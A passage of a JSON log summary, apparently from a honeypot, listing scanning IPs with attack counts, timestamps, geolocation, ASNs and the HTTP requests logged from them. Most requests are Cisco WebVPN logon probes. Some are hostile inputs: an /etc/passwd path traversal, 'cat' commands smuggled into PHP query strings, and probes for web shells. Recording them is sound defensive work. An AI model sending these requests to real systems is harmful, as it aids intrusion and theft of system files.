        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.48": {
      "attack_count": 12,
      "first_seen": "2026-04-18T01:28:40.318Z",
      "last_seen": "2026-04-27T18:37:19.640Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.99": {
      "attack_count": 12,
      "first_seen": "2026-04-13T09:01:28.609Z",
      "last_seen": "2026-04-21T17:04:02.532Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.147.89.221": {
      "attack_count": 9,
      "first_seen": "2026-04-16T03:29:43.907Z",
      "last_seen": "2026-04-24T03:25:46.697Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "155.212.60.12": {
      "attack_count": 9,
      "first_seen": "2026-04-02T15:03:53.316Z",
      "last_seen": "2026-04-02T15:04:10.933Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam-Zuidoost",
      "asn": 202656,
      "as_org": "Ivanov Vitaliy Sergeevich"
    },
    "23.234.105.71": {
      "attack_count": 9,
      "first_seen": "2026-04-15T10:16:36.714Z",
      "last_seen": "2026-04-21T10:14:44.217Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.109.106": {
      "attack_count": 9,
      "first_seen": "2026-04-18T08:48:46.391Z",
      "last_seen": "2026-04-29T12:40:20.793Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.118.157": {
      "attack_count": 9,
      "first_seen": "2026-04-10T10:44:19.005Z",
      "last_seen": "2026-04-27T15:15:15.448Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.75.170": {
      "attack_count": 9,
      "first_seen": "2026-04-12T02:37:27.216Z",
      "last_seen": "2026-04-24T06:18:49.809Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.48": {
      "attack_count": 9,
      "first_seen": "2026-04-09T03:13:43.549Z",
      "last_seen": "2026-04-27T19:31:08.928Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.217.57": {
      "attack_count": 9,
      "first_seen": "2026-04-25T14:08:34.787Z",
      "last_seen": "2026-04-28T00:51:43.917Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "109.94.216.95": {
      "attack_count": 8,
      "first_seen": "2026-04-13T02:04:23.214Z",
      "last_seen": "2026-04-13T02:04:39.932Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "5.181.177.130": {
      "attack_count": 8,
      "first_seen": "2026-04-24T09:06:24.414Z",
      "last_seen": "2026-04-24T09:06:33.444Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/modules/cxpanel/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /admin/modules/ucp/htdocs/index.php?pal=cat+index.php& HTTP/1.1\" 404 -",
        "\"GET /darkness.php?xasd HTTP/1.1\" 404 -",
        "\"GET /digium_phones/test.php?cc HTTP/1.1\" 404 -",
        "\"GET /freeppx/fx29.php? HTTP/1.1\" 404 -",
        "\"GET /omda.php?xzxr45f HTTP/1.1\" 404 -",
        "\"GET /test.php?x123x9 HTTP/1.1\" 404 -",
        "\"GET /xx.php?x1q23ed HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 214677,
      "as_org": "DELUXHOST"
    },
    "142.252.83.14": {
      "attack_count": 7,
      "first_seen": "2026-04-13T06:44:22.366Z",
      "last_seen": "2026-04-13T06:44:35.205Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "2.56.139.177": {
      "attack_count": 7,
      "first_seen": "2026-04-13T11:42:07.537Z",
      "last_seen": "2026-04-13T11:42:19.694Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "23.230.77.14": {
      "attack_count": 7,
      "first_seen": "2026-04-13T01:06:53.033Z",
      "last_seen": "2026-04-13T01:07:06.417Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "45.154.98.33": {
      "attack_count": 7,
      "first_seen": "2026-04-24T09:06:34.985Z",
      "last_seen": "2026-04-24T09:06:56.146Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/a7a.php?c=cat+a7a.php& HTTP/1.1\" 404 -",
        "\"GET /_asterisk/sos.php? HTTP/1.1\" 404 -",
        "\"GET /login.php?z HTTP/1.1\" 404 -",
        "\"GET /pew.php?qw HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/config.inc.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/load.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/new.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Lelystad",
      "asn": 210558,
      "as_org": "1337 Services GmbH"
    },
    "81.29.142.6": {
      "attack_count": 7,
      "first_seen": "2026-04-08T03:02:07.108Z",
      "last_seen": "2026-04-26T22:18:51.445Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies"
    },
    "146.70.172.201": {
      "attack_count": 6,
      "first_seen": "2026-04-18T20:45:04.833Z",
      "last_seen": "2026-04-18T21:01:56.940Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.254.170": {
      "attack_count": 6,
      "first_seen": "2026-04-13T14:16:32.016Z",
      "last_seen": "2026-04-29T13:33:17.649Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.220.100.243": {
      "attack_count": 6,
      "first_seen": "2026-04-24T09:12:47.662Z",
      "last_seen": "2026-04-24T09:12:56.914Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/helpers/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/i18n/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/images/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/libraries/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/modules/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "23.160.24.233": {
      "attack_count": 6,
      "first_seen": "2026-04-24T13:18:49.194Z",
      "last_seen": "2026-04-24T13:33:15.616Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.74.236": {
      "attack_count": 6,
      "first_seen": "2026-04-21T11:26:42.187Z",
      "last_seen": "2026-04-28T01:16:26.899Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.74.59": {
      "attack_count": 6,
      "first_seen": "2026-04-08T15:25:00.934Z",
      "last_seen": "2026-04-13T07:49:06.623Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.99": {
      "attack_count": 6,
      "first_seen": "2026-04-10T02:55:23.333Z",
      "last_seen": "2026-04-29T23:15:53.912Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.157": {
      "attack_count": 6,
      "first_seen": "2026-04-18T07:41:32.638Z",
      "last_seen": "2026-04-18T21:52:48.428Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.213.193.227": {
      "attack_count": 5,
      "first_seen": "2026-04-11T00:45:25.704Z",
      "last_seen": "2026-04-18T00:56:01.994Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "185.220.101.60": {
      "attack_count": 5,
      "first_seen": "2026-04-24T09:15:44.246Z",
      "last_seen": "2026-04-24T09:15:51.373Z",
      "ports": [],
      "event_types": [
        "\"GET /help/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /images/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /include/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /js/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /k12/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "18.206.228.253": {
      "attack_count": 4,
      "first_seen": "2026-04-04T00:56:54.125Z",
      "last_seen": "2026-04-30T00:58:55.117Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "146.70.211.179": {
      "attack_count": 3,
      "first_seen": "2026-04-08T12:59:26.902Z",
      "last_seen": "2026-04-08T12:59:35.093Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "155.2.191.43": {
      "attack_count": 3,
      "first_seen": "2026-04-24T02:51:25.287Z",
      "last_seen": "2026-04-24T02:51:33.895Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.100.31": {
      "attack_count": 3,
      "first_seen": "2026-04-21T18:41:54.912Z",
      "last_seen": "2026-04-21T18:42:05.715Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.72.59": {
      "attack_count": 3,
      "first_seen": "2026-04-30T02:08:58.120Z",
      "last_seen": "2026-04-30T02:09:09.603Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "87.236.176.30": {
      "attack_count": 3,
      "first_seen": "2026-04-02T09:54:02.910Z",
      "last_seen": "2026-04-02T09:54:04.412Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.0\" 200 -",
        "\"GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0\" 404 -",
        "\"OPTIONS / HTTP/1.0\" - -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "194.87.114.169": {
      "attack_count": 2,
      "first_seen": "2026-04-24T05:08:00.979Z",
      "last_seen": "2026-04-24T05:08:01.719Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "20.55.50.10": {
      "attack_count": 2,
      "first_seen": "2026-04-22T01:20:55.321Z",
      "last_seen": "2026-04-22T01:20:58.323Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "23.234.74.92": {
      "attack_count": 2,
      "first_seen": "2026-04-10T07:33:22.916Z",
      "last_seen": "2026-04-10T07:33:25.919Z",
      "ports": [],
      "event_types": [
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "34.238.124.103": {
      "attack_count": 2,
      "first_seen": "2026-04-19T00:56:49.176Z",
      "last_seen": "2026-04-19T00:56:52.179Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "40.124.173.160": {
      "attack_count": 2,
      "first_seen": "2026-04-01T06:59:13.535Z",
      "last_seen": "2026-04-01T06:59:16.539Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "45.153.161.164": {
      "attack_count": 2,
      "first_seen": "2026-04-21T14:37:30.046Z",
      "last_seen": "2026-04-21T14:37:30.832Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 2914,
      "as_org": "NTT America, Inc."
    },
    "5.101.64.6": {
      "attack_count": 2,
      "first_seen": "2026-04-24T06:18:21.827Z",
      "last_seen": "2026-04-24T06:18:24.595Z",
      "ports": [],
      "event_types": [
        "\"GET /aaa9 HTTP/1.1\" 404 -",
        "\"GET /aab9 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 34665,
      "as_org": "Petersburg Internet Network ltd."
    },
    "5.187.35.26": {
      "attack_count": 2,
      "first_seen": "2026-04-07T02:18:47.205Z",
      "last_seen": "2026-04-29T10:34:27.626Z",
      "ports": [],
      "event_types": [
        "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd"
    },
    "54.236.228.135": {
      "attack_count": 2,
      "first_seen": "2026-04-07T00:56:09.640Z",
      "last_seen": "2026-04-20T00:52:52.755Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "71.6.232.27": {
      "attack_count": 2,
      "first_seen": "2026-04-06T19:42:39.143Z",
      "last_seen": "2026-04-06T19:42:42.144Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc."
    },
    "81.29.142.100": {
      "attack_count": 2,
      "first_seen": "2026-04-18T17:11:44.299Z",
      "last_seen": "2026-04-18T17:11:47.302Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies"
    },
    "123.245.84.84": {
      "attack_count": 1,
      "first_seen": "2026-04-23T21:10:30.826Z",
      "last_seen": "2026-04-23T21:10:30.826Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "147.185.132.70": {
      "attack_count": 1,
      "first_seen": "2026-04-26T14:10:25.553Z",
      "last_seen": "2026-04-26T14:10:25.553Z",
      "ports": [],
      "event_types": [
        "\"GET /.well-known/security.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "172.86.70.20": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:05:25.870Z",
      "last_seen": "2026-04-24T09:05:25.870Z",
      "ports": [],
      "event_types": [],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14956,
      "as_org": "RouterHosting LLC"
    },
    "206.189.133.35": {
      "attack_count": 1,
      "first_seen": "2026-04-24T08:22:02.519Z",
      "last_seen": "2026-04-24T08:22:02.519Z",
      "ports": [],
      "event_types": [
        "\"GET /admin/config.php HTTP/1.0\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "3.89.105.24": {
      "attack_count": 1,
      "first_seen": "2026-04-14T00:54:48.079Z",
      "last_seen": "2026-04-14T00:54:48.079Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "35.171.23.150": {
      "attack_count": 1,
      "first_seen": "2026-04-15T01:03:02.166Z",
      "last_seen": "2026-04-15T01:03:02.166Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.202.55.17": {
      "attack_count": 1,
      "first_seen": "2026-04-14T01:01:50.202Z",
      "last_seen": "2026-04-14T01:01:50.202Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.68": {
      "attack_count": 1,
      "first_seen": "2026-04-21T10:25:52.260Z",
      "last_seen": "2026-04-21T10:25:52.260Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.71": {
      "attack_count": 1,
      "first_seen": "2026-04-21T10:28:14.714Z",
      "last_seen": "2026-04-21T10:28:14.714Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.20.126": {
      "attack_count": 1,
      "first_seen": "2026-04-20T00:30:14.653Z",
      "last_seen": "2026-04-20T00:30:14.653Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "85.239.146.2": {
      "attack_count": 1,
      "first_seen": "2026-04-15T08:47:32.389Z",
      "last_seen": "2026-04-15T08:47:32.389Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209896,
      "as_org": "Contrust Solutions S.R.L."
    },
    "85.239.146.6": {
      "attack_count": 1,
      "first_seen": "2026-04-25T06:00:53.040Z",
      "last_seen": "2026-04-25T06:00:53.040Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
